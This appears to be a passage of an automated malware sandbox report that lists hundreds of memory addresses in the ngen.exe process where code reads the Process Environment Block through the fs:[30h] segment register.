Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05767505 mov eax, dword ptr fs:[00000030h] 5_2_05767505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05767505 mov ecx, dword ptr fs:[00000030h] 5_2_05767505
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05804500 mov eax, dword ptr fs:[00000030h] 5_2_05804500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515F4 mov eax, dword ptr fs:[00000030h] 5_2_057515F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515F4 mov eax, dword ptr fs:[00000030h] 5_2_057515F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515F4 mov eax, dword ptr fs:[00000030h] 5_2_057515F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515F4 mov eax, dword ptr fs:[00000030h] 5_2_057515F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515F4 mov eax, dword ptr fs:[00000030h] 5_2_057515F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515F4 mov eax, dword ptr fs:[00000030h] 5_2_057515F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E5E7 mov eax, dword ptr fs:[00000030h] 5_2_0575E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057325E0 mov eax, dword ptr fs:[00000030h] 5_2_057325E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576C5ED mov eax, dword ptr fs:[00000030h] 5_2_0576C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576C5ED mov eax, dword ptr fs:[00000030h] 5_2_0576C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057365D0 mov eax, dword ptr fs:[00000030h] 5_2_057365D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576A5D0 mov eax, dword ptr fs:[00000030h] 5_2_0576A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576A5D0 mov eax, dword ptr fs:[00000030h] 5_2_0576A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD5D0 mov eax, dword ptr fs:[00000030h] 5_2_057AD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD5D0 mov ecx, dword ptr fs:[00000030h] 5_2_057AD5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057595DA mov eax, dword ptr fs:[00000030h] 5_2_057595DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057655C0 mov eax, dword ptr fs:[00000030h] 5_2_057655C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05805537 mov eax, dword ptr fs:[00000030h] 5_2_05805537
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E5CF mov eax, dword ptr fs:[00000030h] 5_2_0576E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E5CF mov eax, dword ptr fs:[00000030h] 5_2_0576E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF5BE mov eax, dword ptr fs:[00000030h] 5_2_057EF5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057545B1 mov eax, dword ptr fs:[00000030h] 5_2_057545B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057545B1 mov eax, dword ptr fs:[00000030h] 5_2_057545B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575F5B0 mov eax, dword ptr fs:[00000030h] 5_2_0575F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C35BA mov eax, dword ptr fs:[00000030h] 5_2_057C35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C35BA mov eax, dword ptr fs:[00000030h] 5_2_057C35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C35BA mov eax, dword ptr fs:[00000030h] 5_2_057C35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057C35BA mov eax, dword ptr fs:[00000030h] 5_2_057C35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B05A7 mov eax, dword ptr fs:[00000030h] 5_2_057B05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B05A7 mov eax, dword ptr fs:[00000030h] 5_2_057B05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B05A7 mov eax, dword ptr fs:[00000030h] 5_2_057B05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515A9 mov eax, dword ptr fs:[00000030h] 5_2_057515A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515A9 mov eax, dword ptr fs:[00000030h] 5_2_057515A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515A9 mov eax, dword ptr fs:[00000030h] 5_2_057515A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515A9 mov eax, dword ptr fs:[00000030h] 5_2_057515A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057515A9 mov eax, dword ptr fs:[00000030h] 5_2_057515A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E59C mov eax, dword ptr fs:[00000030h] 5_2_0576E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BB594 mov eax, dword ptr fs:[00000030h] 5_2_057BB594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BB594 mov eax, dword ptr fs:[00000030h] 5_2_057BB594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05732582 mov eax, dword ptr fs:[00000030h] 5_2_05732582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05732582 mov ecx, dword ptr fs:[00000030h] 5_2_05732582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572758F mov eax, dword ptr fs:[00000030h] 5_2_0572758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572758F mov eax, dword ptr fs:[00000030h] 5_2_0572758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572758F mov eax, dword ptr fs:[00000030h] 5_2_0572758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05764588 mov eax, dword ptr fs:[00000030h] 5_2_05764588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575A470 mov eax, dword ptr fs:[00000030h] 5_2_0575A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575A470 mov eax, dword ptr fs:[00000030h] 5_2_0575A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575A470 mov eax, dword ptr fs:[00000030h] 5_2_0575A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731460 mov eax, dword ptr fs:[00000030h] 5_2_05731460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731460 mov eax, dword ptr fs:[00000030h] 5_2_05731460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731460 mov eax, dword ptr fs:[00000030h] 5_2_05731460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731460 mov eax, dword ptr fs:[00000030h] 5_2_05731460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05731460 mov eax, dword ptr fs:[00000030h] 5_2_05731460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F460 mov eax, dword ptr fs:[00000030h] 5_2_0574F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F460 mov eax, dword ptr fs:[00000030h] 5_2_0574F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F460 mov eax, dword ptr fs:[00000030h] 5_2_0574F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F460 mov eax, dword ptr fs:[00000030h] 5_2_0574F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F460 mov eax, dword ptr fs:[00000030h] 5_2_0574F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F460 mov eax, dword ptr fs:[00000030h] 5_2_0574F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF453 mov eax, dword ptr fs:[00000030h] 5_2_057EF453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572645D mov eax, dword ptr fs:[00000030h] 5_2_0572645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575245A mov eax, dword ptr fs:[00000030h] 5_2_0575245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B440 mov eax, dword ptr fs:[00000030h] 5_2_0573B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B440 mov eax, dword ptr fs:[00000030h] 5_2_0573B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B440 mov eax, dword ptr fs:[00000030h] 5_2_0573B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B440 mov eax, dword ptr fs:[00000030h] 5_2_0573B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B440 mov eax, dword ptr fs:[00000030h] 5_2_0573B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573B440 mov eax, dword ptr fs:[00000030h] 5_2_0573B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576E443 mov eax, dword ptr fs:[00000030h] 5_2_0576E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572E420 mov eax, dword ptr fs:[00000030h] 5_2_0572E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572E420 mov eax, dword ptr fs:[00000030h] 5_2_0572E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572E420 mov eax, dword ptr fs:[00000030h] 5_2_0572E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572C427 mov eax, dword ptr fs:[00000030h] 5_2_0572C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058054DB mov eax, dword ptr fs:[00000030h] 5_2_058054DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05768402 mov eax, dword ptr fs:[00000030h] 5_2_05768402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05768402 mov eax, dword ptr fs:[00000030h] 5_2_05768402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05768402 mov eax, dword ptr fs:[00000030h] 5_2_05768402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575340D mov eax, dword ptr fs:[00000030h] 5_2_0575340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057304E5 mov ecx, dword ptr fs:[00000030h] 5_2_057304E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057D94E0 mov eax, dword ptr fs:[00000030h] 5_2_057D94E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057634B0 mov eax, dword ptr fs:[00000030h] 5_2_057634B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057644B0 mov ecx, dword ptr fs:[00000030h] 5_2_057644B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057BA4B0 mov eax, dword ptr fs:[00000030h] 5_2_057BA4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057364AB mov eax, dword ptr fs:[00000030h] 5_2_057364AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B480 mov eax, dword ptr fs:[00000030h] 5_2_0572B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05739486 mov eax, dword ptr fs:[00000030h] 5_2_05739486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05739486 mov eax, dword ptr fs:[00000030h] 5_2_05739486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580547F mov eax, dword ptr fs:[00000030h] 5_2_0580547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05738770 mov eax, dword ptr fs:[00000030h] 5_2_05738770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740770 mov eax, dword ptr fs:[00000030h] 5_2_05740770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B765 mov eax, dword ptr fs:[00000030h] 5_2_0572B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B765 mov eax, dword ptr fs:[00000030h] 5_2_0572B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B765 mov eax, dword ptr fs:[00000030h] 5_2_0572B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B765 mov eax, dword ptr fs:[00000030h] 5_2_0572B765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05730750 mov eax, dword ptr fs:[00000030h] 5_2_05730750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772750 mov eax, dword ptr fs:[00000030h] 5_2_05772750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05772750 mov eax, dword ptr fs:[00000030h] 5_2_05772750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B4755 mov eax, dword ptr fs:[00000030h] 5_2_057B4755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05743740 mov eax, dword ptr fs:[00000030h] 5_2_05743740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05743740 mov eax, dword ptr fs:[00000030h] 5_2_05743740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05743740 mov eax, dword ptr fs:[00000030h] 5_2_05743740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058037B6 mov eax, dword ptr fs:[00000030h] 5_2_058037B6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576674D mov esi, dword ptr fs:[00000030h] 5_2_0576674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576674D mov eax, dword ptr fs:[00000030h] 5_2_0576674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576674D mov eax, dword ptr fs:[00000030h] 5_2_0576674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729730 mov eax, dword ptr fs:[00000030h] 5_2_05729730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05729730 mov eax, dword ptr fs:[00000030h] 5_2_05729730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05765734 mov eax, dword ptr fs:[00000030h] 5_2_05765734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573973A mov eax, dword ptr fs:[00000030h] 5_2_0573973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573973A mov eax, dword ptr fs:[00000030h] 5_2_0573973A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576273C mov eax, dword ptr fs:[00000030h] 5_2_0576273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576273C mov ecx, dword ptr fs:[00000030h] 5_2_0576273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576273C mov eax, dword ptr fs:[00000030h] 5_2_0576273C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AC730 mov eax, dword ptr fs:[00000030h] 5_2_057AC730
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EF72E mov eax, dword ptr fs:[00000030h] 5_2_057EF72E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05733720 mov eax, dword ptr fs:[00000030h] 5_2_05733720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F720 mov eax, dword ptr fs:[00000030h] 5_2_0574F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F720 mov eax, dword ptr fs:[00000030h] 5_2_0574F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0574F720 mov eax, dword ptr fs:[00000030h] 5_2_0574F720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057F972B mov eax, dword ptr fs:[00000030h] 5_2_057F972B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576C720 mov eax, dword ptr fs:[00000030h] 5_2_0576C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576C720 mov eax, dword ptr fs:[00000030h] 5_2_0576C720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05730710 mov eax, dword ptr fs:[00000030h] 5_2_05730710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05760710 mov eax, dword ptr fs:[00000030h] 5_2_05760710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576F71F mov eax, dword ptr fs:[00000030h] 5_2_0576F71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576F71F mov eax, dword ptr fs:[00000030h] 5_2_0576F71F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05737703 mov eax, dword ptr fs:[00000030h] 5_2_05737703
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05735702 mov eax, dword ptr fs:[00000030h] 5_2_05735702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05735702 mov eax, dword ptr fs:[00000030h] 5_2_05735702
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576C700 mov eax, dword ptr fs:[00000030h] 5_2_0576C700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057347FB mov eax, dword ptr fs:[00000030h] 5_2_057347FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057347FB mov eax, dword ptr fs:[00000030h] 5_2_057347FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D7E0 mov ecx, dword ptr fs:[00000030h] 5_2_0573D7E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057527ED mov eax, dword ptr fs:[00000030h] 5_2_057527ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057527ED mov eax, dword ptr fs:[00000030h] 5_2_057527ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057527ED mov eax, dword ptr fs:[00000030h] 5_2_057527ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573C7C0 mov eax, dword ptr fs:[00000030h] 5_2_0573C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057357C0 mov eax, dword ptr fs:[00000030h] 5_2_057357C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057357C0 mov eax, dword ptr fs:[00000030h] 5_2_057357C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057357C0 mov eax, dword ptr fs:[00000030h] 5_2_057357C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057B07C3 mov eax, dword ptr fs:[00000030h] 5_2_057B07C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580B73C mov eax, dword ptr fs:[00000030h] 5_2_0580B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580B73C mov eax, dword ptr fs:[00000030h] 5_2_0580B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580B73C mov eax, dword ptr fs:[00000030h] 5_2_0580B73C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0580B73C mov eax, dword ptr fs:[00000030h] 5_2_0580B73C
